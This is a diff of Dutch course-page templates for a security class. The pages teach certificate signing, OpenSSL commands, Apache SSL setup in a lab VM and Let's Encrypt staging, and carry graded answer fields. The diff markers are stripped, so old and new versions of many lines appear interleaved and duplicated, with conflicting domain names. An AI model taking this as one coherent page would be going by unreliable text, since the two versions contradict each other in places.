<textarea class="question-input" name="answer_openssl_selfsigned_certificate">{{ answers.answer_openssl_selfsigned_certificate.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p>Het wordt pas interessant en betrouwbaar als andere partijen het certificaat verstrekken en zo kunnen zeggen dat ze de gegevens
|
||||
van het certificaat gecontroleerd hebben. Als jij die verstrekker vertrouwt dat hij zijn werk goed doet met de correctheid
|
||||
van certificaten controleren. Dan vertrouw je ook indirect de gegevens op het certificaat. Zo hoef je maar een handjevol
|
||||
verstrekkers te vertrouwen om bijna alle websites op het internet te kunnen vertrouwen.</p>
|
||||
<p>Een certificaat heeft ook altijd een <em>verstrekker</em> (issuer). Dit is de persoon of bedrijf die het certificaat heeft gemaakt en daarmee garant staat dat de identiteit die op het certificaat staat ook klopt. In jouw certificaat staat dat je over jezelf hebt gezegd dat je bent wie je zegt dat je bent. Niet echt betrouwbare informatie dus... Iedereen zou precies datzelfde certificaat kunnen maken.</p>
|
||||
|
||||
<p>Elke besturingssysteem heeft een lijst van basis verstrekkers die ze impliciet vertrouwen, deze lijst kan je bekijken en
|
||||
veranderen door in je geavanceerde browserinstellingen op zoek te gaan naar een knop 'Beheer certificaten' (te vinden in
|
||||
het Advanced -> Certificates tabblad in Firefox).</p>
|
||||
<p>Het wordt pas interessant en betrouwbaar als andere partijen het certificaat verstrekken en zo kunnen zeggen dat ze de gegevens van het certificaat gecontroleerd hebben.
|
||||
Als jij die verstrekker vertrouwt dat hij zijn werk goed doet met de correctheid van certificaten controleren. Dan vertrouw je ook indirect de gegevens op het certificaat.
|
||||
Zo hoef je maar een handjevol verstrekkers te vertrouwen om bijna alle websites op het internet te kunnen vertrouwen.</p>
|
||||
|
||||
<p>
|
||||
<p>Elke besturingssysteem heeft een lijst van basis verstrekkers die ze impliciet vertrouwen, deze lijst kan je bekijken en veranderen door in je geavanceerde browserinstellingen op zoek te gaan naar een knop 'Beheer certificaten' (te vinden in het Advanced -> Certificates tabblad in Firefox).</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel basis verstrekkers vertrouwt jouw systeem?</span>
|
||||
</div>
|
||||
<p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk het certificaat van
|
||||
<a href="https://facebook.com/" target="_blank">Facebook</a>, welk bedrijf heeft dit certificaat verstrekt?</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel basis verstrekkers vertrouwt jouw systeem? (je mag ook ongeveer een antwoord geven als het lastig tellen is)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_number_of_issuers.points max="5" %}
|
||||
<input class="question-input" name="answer_openssl_number_of_issuers" value="{{ answers.answer_openssl_number_of_issuers.string }}">
|
||||
</div>
|
||||
|
||||
<p class="hint">Hint: Het certificaat kan je in de meeste browsers bekijken door op het slot-ikoontje te klikken. In Chrome moet je de
|
||||
Developer Tools openen en kijken in het mapje 'Security'.</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk het certificaat van <a href="https://facebook.com/" target="_blank">Facebook</a>, welk bedrijf heeft dit certificaat verstrekt?</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_facebook_issuer.points max="5" %}
|
||||
<input class="question-input" name="answer_openssl_facebook_issuer" value="{{ answers.answer_openssl_facebook_issuer.string }}">
|
||||
</div>
|
||||
|
||||
<h2>Mag ik uw handtekening?</h2>
|
||||
<p class="hint">Hint: Het certificaat kan je in alle browsers bekijken door op het slot-ikoontje te klikken</p>
|
||||
|
||||
<p>Zo'n certificaat wat je aan jezelf hebt verstrekt vertrouwd natuurlijk niemand. We moeten eerst iemand vinden die jouw
|
||||
certificaat wil ondertekenen.</p>
|
||||
<h2>Mag ik uw handtekening?</h2>
|
||||
|
||||
<p>Er is een speciaal bestandsformaat om aan een verstrekker te vragen of hij jouw certificaat wil ondertekenen:
|
||||
<b>.csr</b>. Dat staat voor Certificate Signing Request. Een soort van bedelbrief die je rond kan sturen met je certificaat
|
||||
waar nog een verstrekker bij moet.</p>
|
||||
<p>Zo'n certificaat wat je aan jezelf hebt verstrekt vertrouwd natuurlijk niemand. We moeten eerst iemand vinden die jouw certificaat wil ondertekenen.</p>
|
||||
|
||||
<p>Je kan onderstaand commando gebruiken om je eigen gemaakte certificaat als basis te gebruiken voor zo'n Certificate Signing
|
||||
Request:
|
||||
</p>
|
||||
<p>Er is een speciaal bestandsformaat om aan een verstrekker te vragen of hij jouw certificaat wil ondertekenen: <b>.csr</b>. Dat staat voor Certificate Signing Request. Een soort van bedelbrief die je rond kan sturen met je certificaat waar nog een verstrekker bij moet.</p>
|
||||
|
||||
<code class="terminal">openssl x509 -x509toreq -in certificaat.crt -signkey sleutel.key -out certificaat_verzoek.csr</code>
|
||||
<p>Je kan onderstaand commando gebruiken om je eigen gemaakte certificaat als basis te gebruiken voor zo'n Certificate Signing Request:</p>
|
||||
|
||||
<p>Zo'n verzoekje kan je vervolgens bij een certificaat autoriteit zoals Thawte of VeriSign inleveren. Voor een paar honderd
|
||||
euro zijn ze dan bereid om hun handtekening eronder te zetten.</p>
|
||||
<code class="terminal">openssl x509 -x509toreq -in certificaat.crt -signkey sleutel.key -out certificaat_verzoek.csr</code>
|
||||
|
||||
<p>Om deze cursus relatief goedkoop te houden heeft deze site ook een certificaat autoriteit waar je certificaten kan laten
|
||||
ondertekenen:
|
||||
<a href="/sign" target="signen">Certificaat Autoriteit</a>. Gebruik deze site om jouw certificaat te laten ondertekenen</p>
|
||||
<p>Zo'n verzoekje kan je vervolgens bij een certificaat autoriteit zoals Thawte of VeriSign inleveren. Voor een paar honderd euro zijn ze dan bereid om hun handtekening eronder te zetten.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk het certificaat wat je hebt teruggekregen. Welke persoon heeft dit certificaat aan jou verstrekt?</span>
|
||||
</div>
|
||||
<p>Om deze les relatief goedkoop te houden heeft deze site ook een certificaat autoriteit waar je certificaten kan laten ondertekenen: <a href="/sign" target="signen">Certificaat Autoriteit</a>. Gebruik deze site om jouw certificaat te laten ondertekenen</p>
|
||||
|
||||
<h2>Zelf verstrekken</h2>
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk het certificaat wat je hebt teruggekregen. Welke persoon heeft dit certificaat aan jou verstrekt?</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_site_issuer.points max="5" %}
|
||||
<input class="question-input" name="answer_openssl_site_issuer" value="{{ answers.answer_openssl_site_issuer.string }}">
|
||||
</div>
|
||||
|
||||
<blockquote>Sometimes, the only one you can trust is yourself.</blockquote>
|
||||
<div class="question">
|
||||
<span class="question-string">Plak jouw ondertekende certificaat in onderstaand tekstveld (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_signed_cert.points max="10" %}
|
||||
<textarea class="question-input" name="answer_openssl_signed_cert">{{ answers.answer_openssl_signed_cert.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p>Om zelf verstrekker te spelen heb je helemaal geen speciale certificaten nodig. Je kan namelijk gewoon je eigen certificaat
|
||||
en sleutel gebruiken die je aan het begin van de les hebt gemaakt.</p>
|
||||
<h2>Zelf verstrekken</h2>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Vraag een medecursist om een Certificate Signing Request van zijn certificaat te geven en onderteken dat met je eigen
|
||||
certificaat. Zoek op internet het commando op waarmee je dat kan doen.</span>
|
||||
</div>
|
||||
<blockquote>Sometimes, the only one you can trust is yourself.</blockquote>
|
||||
|
||||
<p>Tip: zorg ervoor dat jouw certificaat standaard wordt geinstalleerd op alle besturingsystemen. Dan kan je goud geld verdienen
|
||||
met het ondertekenen van andere certificaten ;)</p>
|
||||
<p>Om zelf verstrekker te spelen heb je helemaal geen speciale certificaten nodig. Je kan namelijk gewoon je eigen certificaat en sleutel gebruiken die je aan het begin van de les hebt gemaakt. Vraag een medestudent om een Certificate Signing Request van zijn certificaat te geven en onderteken dat met je eigen certificaat. Zoek op internet het commando op waarmee je dat kan doen.</p>
|
||||
|
||||
<!--
|
||||
<h2>Websites beveiligen</h2>
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de inhoud van het certificaat van een medestudent, waar je zelf verstrekker van bent. (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_sign_other.points max="10" %}
|
||||
<textarea class="question-input" name="answer_openssl_sign_other">{{ answers.answer_openssl_sign_other.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p>Leuk die certificaten, maar laten we niet vergeten dat we er ook nog wat nuttigs mee kunnen doen. Namelijk onze internetverbindingen
|
||||
beveiligen. Om hiermee te oefenen moet je
|
||||
<a href="/static/vm.zip">deze virtual machine</a> downloaden. Het wachtwoord van deze VM is
|
||||
<b>
|
||||
<i>sec2</i>
|
||||
</b>. We hebben een aantal dingen gewijzigd hierin:</p>
|
||||
<p>Tip: zorg ervoor dat jouw certificaat standaard wordt geinstalleerd op alle besturingsystemen. Dan kan je goud geld verdienen met het ondertekenen van andere certificaten ;)</p>
|
||||
|
||||
<ul>
|
||||
<li>Er is een default Apache installatie aanwezig.</li>
|
||||
<li>www.security2.nl en websec.paulwagener.nl wijzen naar de geïnstalleerde Apache op localhost.</li>
|
||||
<li>We hebben
|
||||
<a href="/sign" target="signen">deze verstrekker</a> en het Let's Encrypt test certificaat als vertrouwd toegevoegd aan het systeem (dit kan je terugvinden
|
||||
als je in je browser gaat kijken naar alle certificaten die zijn geïnstalleerd)</li>
|
||||
</ul>
|
||||
<h2>Websites beveiligen</h2>
|
||||
|
||||
<p>Controleer eerst of de site http://www.security2.nl in jouw VM te bereiken is, en via http
|
||||
<b>s</b>://www.security2.nl/ nog niet te bereiken is. Je gaat de site in de volgende opgaven beveiligen met SSL, om dat
|
||||
te doen moeten we eerst SSL aanzetten in Apache met de volgende commando's:</p>
|
||||
<p>Leuk die certificaten, maar laten we niet vergeten dat we er ook nog wat nuttigs mee kunnen doen. Namelijk onze internetverbindingen beveiligen. Om hiermee te oefenen moet je <a href="/static/vm.zip">deze virtual machine</a> downloaden. Het wachtwoord van deze VM is <b><i>sec2</i></b>. We hebben een aantal dingen gewijzigd hierin:</p>
|
||||
|
||||
<code class="terminal">sudo a2enmod ssl<br>
|
||||
<ul>
|
||||
<li>Er is een default Apache installatie aanwezig.</li>
|
||||
<li>www.security2.nl en sec1.aii.avans.nl wijzen naar de geïnstalleerde Apache op localhost.</li>
|
||||
<li>We hebben <a href="/sign" target="signen">deze verstrekker</a> en het Let's Encrypt test certificaat als vertrouwd toegevoegd aan het systeem (dit kan je terugvinden als je in je browser gaat kijken naar alle certificaten die zijn geïnstalleerd)</li>
|
||||
</ul>
|
||||
|
||||
<p>Controleer eerst of de site http://www.security2.nl in jouw VM te bereiken is, en via http<b>s</b>://www.security2.nl/ nog niet te bereiken is. Je gaat de site in de volgende opgaven beveiligen met SSL, om dat te doen moeten we eerst SSL aanzetten in Apache met de volgende commando's:</p>
|
||||
|
||||
<code class="terminal">sudo a2enmod ssl<br>
|
||||
sudo a2ensite default-ssl<br>
|
||||
sudo service apache2 reload</code>
|
||||
|
||||
<p class="hint">Hint: Commando's vul je in in het programma 'Terminal'</p>
|
||||
<p class="hint">Hint: Commando's vul je in in het programma 'Terminal'</p>
|
||||
|
||||
<p>De site is nu ook via https:// bereikbaar, maar Apache heeft een ongeldig dummy certificaat gebruikt om de site te beveiligen.
|
||||
Om het werkend te krijgen moeten we eerst de volgende stappen uitvoeren:</p>
|
||||
<p>De site is nu ook via https:// bereikbaar, maar Apache heeft een ongeldig dummy certificaat gebruikt om de site te beveiligen. Om het werkend te krijgen moeten we eerst de volgende stappen uitvoeren:</p>
|
||||
|
||||
<ol>
|
||||
<li>Maak een geheel nieuwe certificaat/sleutel combo aan met het commando bovenaan de pagina. Je mag alles invullen zoals
|
||||
je wil, behalve de Common Name / Server FQDN. Die moet
|
||||
<code>www.security2.nl</code> zijn.</li>
|
||||
<li>Laat het certificaat
|
||||
<a href="/sign" target="signen">hier</a> weer ondertekenen</li>
|
||||
<li>Kopieer het sleutel bestand en het ondertekende certificaat naar de VM</li>
|
||||
<li>Voer het volgende commando uit:
|
||||
<code class="terminal">sudo gedit /etc/apache2/sites-available/default-ssl.conf</code> om de standaard SSL configuratie aan te passen.</li>
|
||||
<li>Verander in dit bestand de
|
||||
<code>SSLCertificateFile</code> en
|
||||
<code>SSLCertificateKeyFile</code> zodat ze naar jouw certificaat en sleutel bestand wijzen</li>
|
||||
<li>Maak je wijzigingen actief door de configuratie opnieuw in te laden:
|
||||
<code class="terminal">sudo service apache2 reload</code>
|
||||
</li>
|
||||
</ol>
|
||||
<ol>
|
||||
<li>Maak een geheel nieuwe certificaat/sleutel combo aan met het commando bovenaan de pagina. Je mag alles invullen zoals je wil, behalve de Common Name / Server FQDN. Die moet <code>www.security2.nl</code> zijn.</li>
|
||||
<li>Laat het certificaat <a href="/sign" target="signen">hier</a> weer ondertekenen</li>
|
||||
<li>Kopieer het sleutel bestand en het ondertekende certificaat naar de VM</li>
|
||||
<li>Voer het volgende commando uit: <code class="terminal">sudo gedit /etc/apache2/sites-available/default-ssl.conf</code> om de standaard SSL configuratie aan te passen.</li>
|
||||
<li>Verander in dit bestand de <code>SSLCertificateFile</code> en <code>SSLCertificateKeyFile</code> zodat ze naar jouw certificaat en sleutel bestand wijzen</li>
|
||||
<li>Maak je wijzigingen actief door de configuratie opnieuw in te laden: <code class="terminal">sudo service apache2 reload</code></li>
|
||||
</ol>
|
||||
|
||||
<p>Als je alles goed hebt gedaan is de site nu met SSL beveiligd! Controleer of je de site in de VM nu kan bereiken via https://www.security2.nl/
|
||||
(Alleen Chrome werkt, certificaat is niet aan Firefox toegevoegd). Als je een groen slotje krijgt mag je de volgende
|
||||
vraag beantwoorden:</p>
|
||||
<p>Als je alles goed hebt gedaan is de site nu met SSL beveiligd! Controleer of je de site in de VM nu kan bereiken via https://www.security2.nl/ (Alleen Chrome werkt, certificaat is niet aan Firefox toegevoegd). Als je een groen slotje krijgt mag je de volgende vraag beantwoorden:</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de inhoud van het .crt bestand dat je hebt gebruikt om de website te beveiligen met een groen slotje. (inclusief
|
||||
begin en einde
|
||||
<code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_ssl_cert.points max="10" %}
|
||||
<textarea class="question-input" name="answer_openssl_ssl_cert">{{ answers.answer_openssl_ssl_cert.string }}</textarea>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de inhoud van het .crt bestand dat je hebt gebruikt om de website te beveiligen met een groen slotje. (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_ssl_cert.points max="10" %}
|
||||
<textarea class="question-input" name="answer_openssl_ssl_cert">{{ answers.answer_openssl_ssl_cert.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat en upload die naar
|
||||
<a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_screenshot.points max="10" %}
|
||||
<input class="question-input" name="answer_openssl_screenshot" type="url" value="{{ answers.answer_openssl_screenshot.string }}">
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat en upload die naar <a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_screenshot.points max="10" %}
|
||||
<input class="question-input" name="answer_openssl_screenshot" type="url" value="{{ answers.answer_openssl_screenshot.string }}">
|
||||
</div>
|
||||
|
||||
<img src="/static/img/slotje_certificaat_vm.png" class="center-block screenshot" style="width: 60%">
|
||||
<img src="/static/img/slotje_certificaat_vm.png" class="center-block screenshot" style="width: 60%" >
|
||||
|
||||
<h2>Let's Encrypt</h2>
|
||||
<h2>Let's Encrypt</h2>
|
||||
|
||||
<img src="/static/img/letsencrypt_logo.png" class="center-block">
|
||||
<img src="/static/img/letsencrypt_logo.png" class="center-block">
|
||||
|
||||
<p>
|
||||
<b>
|
||||
</b>
|
||||
</p>
|
||||
<p><b><i>Let op, deze opdracht is dit jaar 0 punten waard omdat Avans een beveiliging heeft toegevoegd zodat het niet meer mogelijk is subdomeinen van avans.nl met Let's Encrypt te beveiligen.</i></b></p>
|
||||
|
||||
<p>Sinds 2015 is er
|
||||
<a href="https://letsencrypt.org/">een nieuwe speler</a> op de markt die gratis certificaten verstrekt, mits je kan bewijzen dat jouw website van jouw is
|
||||
natuurlijk. Dit gaat met behulp van de command-line
|
||||
<code>letsencrypt</code> tool die automatisch certificaten maakt en ondertekend voor jouw website. Deze tool hebben we al voor je geinstalleerd
|
||||
in de VM.</p>
|
||||
<p>Sinds 2015 is er <a href="https://letsencrypt.org/">een nieuwe speler</a> op de markt die gratis certificaten verstrekt, mits je kan bewijzen dat jouw website van jouw is natuurlijk. Dit gaat met behulp van de command-line <code>letsencrypt</code> tool die automatisch certificaten maakt en ondertekend voor jouw website. Deze tool hebben we al voor je geinstalleerd in de VM.</p>
|
||||
|
||||
<p>We gaan nu websec.paulwagener.nl beveiligen, niet deze website die je nu aan het bekijken bent, maar weer de localhost
|
||||
die in de VM draait. Maar nu gaan we hem met behulp van Let's Encrypt beveiligen.</p>
|
||||
<p>We gaan nu sec1.aii.avans.nl beveiligen, niet deze website die je nu aan het bekijken bent, maar weer de localhost die in de VM draait. Maar nu gaan we hem met behulp van Let's Encrypt beveiligen.</p>
|
||||
|
||||
<p>
|
||||
<i>Tip:</i>Je mag voor deze opdracht ook een eigen domein dat je hebt beveiligen! Let even op dat de commando's dan niet
|
||||
overal exact hetzelfde zijn. Zeker als je geen Apache gebruikt.</p>
|
||||
<p><i>Tip:</i>Je mag voor deze opdracht ook een eigen domein dat je hebt beveiligen! Let even op dat de commando's dan niet overal exact hetzelfde zijn. Zeker als je geen Apache gebruikt.</p>
|
||||
|
||||
<p>Controleer eerst dat
|
||||
<b>https</b>://websec.paulwagener.nl// in de VM een fout geeft, dat komt omdat het certificaat van de vorige opdracht nog
|
||||
steeds van www.security2.nl is (als je de vorige opdracht goed hebt gedaan, anders krijg je misschien een andere fout).
|
||||
De browser ziet dat dat niet hetzelfde domein is en geeft terecht een error.</p>
|
||||
<p>Controleer eerst dat <b>https</b>://sec1.aii.avans.nl/ in de VM een fout geeft, dat komt omdat het certificaat van de vorige opdracht nog steeds van www.security2.nl is (als je de vorige opdracht goed hebt gedaan, anders krijg je misschien een andere fout). De browser ziet dat dat niet hetzelfde domein is en geeft terecht een error.</p>
|
||||
|
||||
<p>We gaan beginnen met het aanvragen van een certificaat. Dit doen we met het volgende commando:
|
||||
<p>We gaan beginnen met het aanvragen van een certificaat. Dit doen we met het volgende commando:
|
||||
|
||||
<code class="terminal">sudo letsencrypt certonly --manual --staging</code>
|
||||
<code class="terminal">sudo letsencrypt certonly --manual --staging</code>
|
||||
|
||||
<p>Even een korte uitleg van dit commando:</p>
|
||||
<p>Even een korte uitleg van dit commando:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>sudo</b>: letsencrypt heeft root rechten nodig, we moeten letsencrypt dus altijd met root rechten uitvoeren</li>
|
||||
<li>
|
||||
<b>letsencrypt</b>: de naam van het scriptje zelf. Als je dit op je eigen server wil doen moet je deze eerst installeren
|
||||
(instructies vind je op de
|
||||
<a href="https://letsencrypt.org/getting-started/">Let's Encrypt website</a> zelf). Afhankelijk van hoe letsencrypt is geinstalleerd kan het commando ook
|
||||
<code>letsencrypt-auto</code>,
|
||||
<code>certbot</code> of
|
||||
<code>certbot-auto</code> zijn.</li>
|
||||
<li>
|
||||
<b>certonly</b>: Standaard wil Let's Encrypt volledig automatisch Apache voor je herconfigureren, maar dat gaat bij
|
||||
ons niet werken omdat de VM niet
|
||||
<i>echt</i> websec.paulwagener.nl is. Met de certonly optie geven we aan dat we alleen geinteresseerd zijn in het maken
|
||||
van nieuwe certificaten.</li>
|
||||
<li>
|
||||
<b>--manual</b>: De Let's Encrypt servers geven niet zomaar certificaten weg, ze willen altijd zeker weten dat het domein
|
||||
waar je een certificaat van aanvraagt ook echt van jou is. Er zijn verschillende manieren om dat te doen, maar ze
|
||||
komen er allemaal op neer dat je een specifiek bestandje moet hosten op je website. Met de manual optie moeten we
|
||||
onze webserver zelf goed configureren dat het bestandje te bereiken is via het domein. De andere opties (
|
||||
<code>--webroot</code>,
|
||||
<code>--apache</code>) proberen het bestandje automatisch te plaatsen en de webserver te configureren. Dat gaat voor deze opdracht niet
|
||||
werken omdat de echte websec.paulwagener.nl veilig ergens draait en van buiten niet te configureren is.</li>
|
||||
<li>
|
||||
<b>--staging</b>: Deze optie zorgt ervoor dat je een certificaat krijgt van de test server in plaats van de echte server.
|
||||
Deze hebben we nodig omdat de echte server een limiet heeft van 5 certificaataanvragen per week per domein. En dat
|
||||
is voor dit vak niet handig. Nadeel van de testserver is dat de certificaten een ongeldige fake verstrekker hebben
|
||||
(in de VM hebben we die fake verstrekker toegevoegd als vertrouwd, zodat je alsnog een groen slotje krijgt.)</li>
|
||||
</ul>
|
||||
<ul>
|
||||
<li><b>sudo</b>: letsencrypt heeft root rechten nodig, we moeten letsencrypt dus altijd met root rechten uitvoeren</li>
|
||||
<li><b>letsencrypt</b>: de naam van het scriptje zelf. Als je dit op je eigen server wil doen moet je deze eerst installeren (instructies vind je op de <a href="https://letsencrypt.org/getting-started/">Let's Encrypt website</a> zelf). Afhankelijk van hoe letsencrypt is geinstalleerd kan het commando ook <code>letsencrypt-auto</code>, <code>certbot</code> of <code>certbot-auto</code> zijn.</li>
|
||||
<li><b>certonly</b>: Standaard wil Let's Encrypt volledig automatisch Apache voor je herconfigureren, maar dat gaat bij ons niet werken omdat de VM niet <i>echt</i> sec1.aii.avans.nl is. Met de certonly optie geven we aan dat we alleen geinteresseerd zijn in het maken van nieuwe certificaten.</li>
|
||||
<li><b>--manual</b>: De Let's Encrypt servers geven niet zomaar certificaten weg, ze willen altijd zeker weten dat het domein waar je een certificaat van aanvraagt ook echt van jou is. Er zijn verschillende manieren om dat te doen, maar ze komen er allemaal op neer dat je een specifiek bestandje moet hosten op je website. Met de manual optie moeten we onze webserver zelf goed configureren dat het bestandje te bereiken is via het domein. De andere opties (<code>--webroot</code>, <code>--apache</code>) proberen het bestandje automatisch te plaatsen en de webserver te configureren. Dat gaat voor deze opdracht niet werken omdat de echte sec1.aii.avans.nl veilig ergens draait en van buiten niet te configureren is.</li>
|
||||
<li><b>--staging</b>: Deze optie zorgt ervoor dat je een certificaat krijgt van de test server in plaats van de echte server. Deze hebben we nodig omdat de echte server een limiet heeft van 5 certificaataanvragen per week per domein. En dat is voor dit vak niet handig. Nadeel van de testserver is dat de certificaten een ongeldige fake verstrekker hebben (in de VM hebben we die fake verstrekker toegevoegd als vertrouwd, zodat je alsnog een groen slotje krijgt.)</li>
|
||||
</ul>
|
||||
|
||||
<p>Als je dit commando voor de eerste keer uitvoert wordt er gevraagd naar je e-mailadres, daar kan je invullen wat je wil.
|
||||
Voor het domein gaan we websec.paulwagener.nl invullen. Als je je eigen domein wil beveiligen vul je hier uiteraard
|
||||
je eigen domein in.</p>
|
||||
<p>Als je dit commando voor de eerste keer uitvoert wordt er gevraagd naar je e-mailadres, daar kan je invullen wat je wil. Voor het domein gaan we sec1.aii.avans.nl invullen. Als je je eigen domein wil beveiligen vul je hier uiteraard je eigen domein in.</p>
|
||||
|
||||
<img src="/static/img/letsencrypt_domain.png" class="center-block screenshot" style="width: 80%">
|
||||
<img src="/static/img/letsencrypt_domain.png" class="center-block screenshot" style="width: 80%" >
|
||||
|
||||
<p>Let's Encrypt vraagt daarna om een bestandje op de server te zetten in een hele specifieke map (.well-known/acme-challenge)
|
||||
op de echte websec.paulwagener.nl server. Normaliter zou dit een probleem zijn, want dat kan alleen als je toegang
|
||||
hebt tot de server. Maar speciaal voor jullie is er
|
||||
<a href="/letsencrypt">een pagina</a> waar je de code kan kopieren en er voor zorgen dat het bestandje 10 minuten lang op onze server wordt
|
||||
gehost!
|
||||
</p>
|
||||
<p>Let's Encrypt vraagt daarna om een bestandje op de server te zetten in een hele specifieke map (.well-known/acme-challenge) op de echte sec1.aii.avans.nl server. Normaliter zou dit een probleem zijn, want dat kan alleen als je toegang hebt tot de server. Maar speciaal voor jullie is er <a href="/letsencrypt">een pagina</a> waar je de code kan kopieren en er voor zorgen dat het bestandje 10 minuten lang op onze server wordt gehost!</p>
|
||||
|
||||
<img src="/static/img/letsencrypt_challenge.png" class="center-block screenshot" style="width: 80%">
|
||||
<img src="/static/img/letsencrypt_challenge.png" class="center-block screenshot" style="width: 80%" >
|
||||
|
||||
<p>Nadat de challenge is geslaagd zal Let's Encrypt nog een melding geven over dat de self-verification failed (in de VM
|
||||
wijst websec.paulwagener.nl immers naar de localhost, en niet naar het bestandje op de echte server). Maar dat kan
|
||||
je negeren, als het goed is gegaan staan de certificaten nu in de map
|
||||
<code>/etc/letsencrypt/live/websec.paulwagener.nl</code>!.
|
||||
<p>Nadat de challenge is geslaagd zal Let's Encrypt nog een melding geven over dat de self-verification failed (in de VM wijst sec1.aii.avans.nl immers naar de localhost, en niet naar het bestandje op de echte server). Maar dat kan je negeren, als het goed is gegaan staan de certificaten nu in de map <code>/etc/letsencrypt/live/sec1.aii.avans.nl</code>!.
|
||||
|
||||
<img src="/static/img/letsencrypt_congrats.png" class="center-block screenshot" style="width: 80%">
|
||||
<img src="/static/img/letsencrypt_congrats.png" class="center-block screenshot" style="width: 80%" >
|
||||
|
||||
<p>Met dit commando kan je je nieuwe certificaat bekijken:</p>
|
||||
|
||||
<code class="terminal">sudo gedit /etc/letsencrypt/live/websec.paulwagener.nl/fullchain.pem</code>
|
||||
<code class="terminal">sudo gedit /etc/letsencrypt/live/sec1.aii.avans.nl/fullchain.pem</code>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de inhoud van het
|
||||
<code>fullchain.pem</code> certificaat voor websec.paulwagener.nl. (inclusief alle begin en einde
|
||||
<code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
<span class="question-string">Plak de inhoud van het <code>fullchain.pem</code> certificaat voor sec1.aii.avans.nl. (inclusief alle begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_letsencrypt_fullchain.points max="0" %}
|
||||
<textarea class="question-input" name="answer_openssl_letsencrypt_fullchain">{{ answers.answer_openssl_letsencrypt_fullchain.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p>Stel het default-ssl.conf configuratie bestand van Apache nu zo in dat het de certificaten van Let's Encrypt gebruikt:</p>
|
||||
|
||||
<img src="/static/img/letsencrypt_conf.png" class="center-block screenshot">
|
||||
<img src="/static/img/letsencrypt_conf.png" class="center-block screenshot" >
|
||||
|
||||
<p>Sla het bestand op, reload Apache en als het goed is heb je nu een beveiligde https://websec.paulwagener.nl/, helemaal
|
||||
gratis en voor niets!</p>
|
||||
<p>Sla het bestand op, reload Apache en als het goed is heb je nu een beveiligde https://sec1.aii.avans.nl/, helemaal gratis en voor niets!</p>
|
||||
|
||||
<img src="/static/img/letsencrypt_chrome.png" class="center-block screenshot" style="width: 90%">
|
||||
<img src="/static/img/letsencrypt_chrome.png" class="center-block screenshot" style="width: 90%" >
|
||||
|
||||
<p>Het zal je misschien opvallen dat de verstrekker Fake is, dat komt omdat we de
|
||||
<code>--staging</code> optie hebben gebruikt. In de VM is deze toegevoegd als iets dat we kunnen vertrouwen (en dus een groen slotje oplevert),
|
||||
maar in de echte wereld is dat niet zo. Zorg er dus bij je eigen website zo dat je niet de --staging optie gebruikt
|
||||
als je voor de echie certificaten aan het maken bent</p>
|
||||
<p>Het zal je misschien opvallen dat de verstrekker Fake is, dat komt omdat we de <code>--staging</code> optie hebben gebruikt. In de VM is deze toegevoegd als iets dat we kunnen vertrouwen (en dus een groen slotje oplevert), maar in de echte wereld is dat niet zo. Zorg er dus bij je eigen website zo dat je niet de --staging optie gebruikt als je voor de echie certificaten aan het maken bent</p>
|
||||
|
||||
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat (zoals hierboven, maar natuurlijk niet
|
||||
letterlijk dat plaatje, dat hebben we door) en upload die naar
|
||||
<a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span>
|
||||
<span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat (zoals hierboven, maar natuurlijk niet letterlijk dat plaatje, dat hebben we door) en upload die naar <a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_letsencrypt_screenshot.points max="0" %}
|
||||
<input class="question-input" name="answer_openssl_letsencrypt_screenshot" type="url" value="{{ answers.answer_openssl_letsencrypt_screenshot.string }}">
|
||||
</div>
|
||||
-->
|
||||
{% endblock %}
|
||||
|
||||
{% endblock %}
|
||||
+135
-227
@@ -1,232 +1,149 @@
|
||||
{% extends "base.html" %} {% block content %}
|
||||
{% extends "base.html" %}
|
||||
|
||||
<h1>Encryptie & Signen</h1>
|
||||
{% block content %}
|
||||
|
||||
<p>Deze week gaan we nog een laagje dieper en kijken naar (a)symmetrische encryptie, sleutels, signen en PGP.</p>
|
||||
<h1>Encryptie & Signen</h1>
|
||||
|
||||
<h2>Symmetrische encryptie</h2>
|
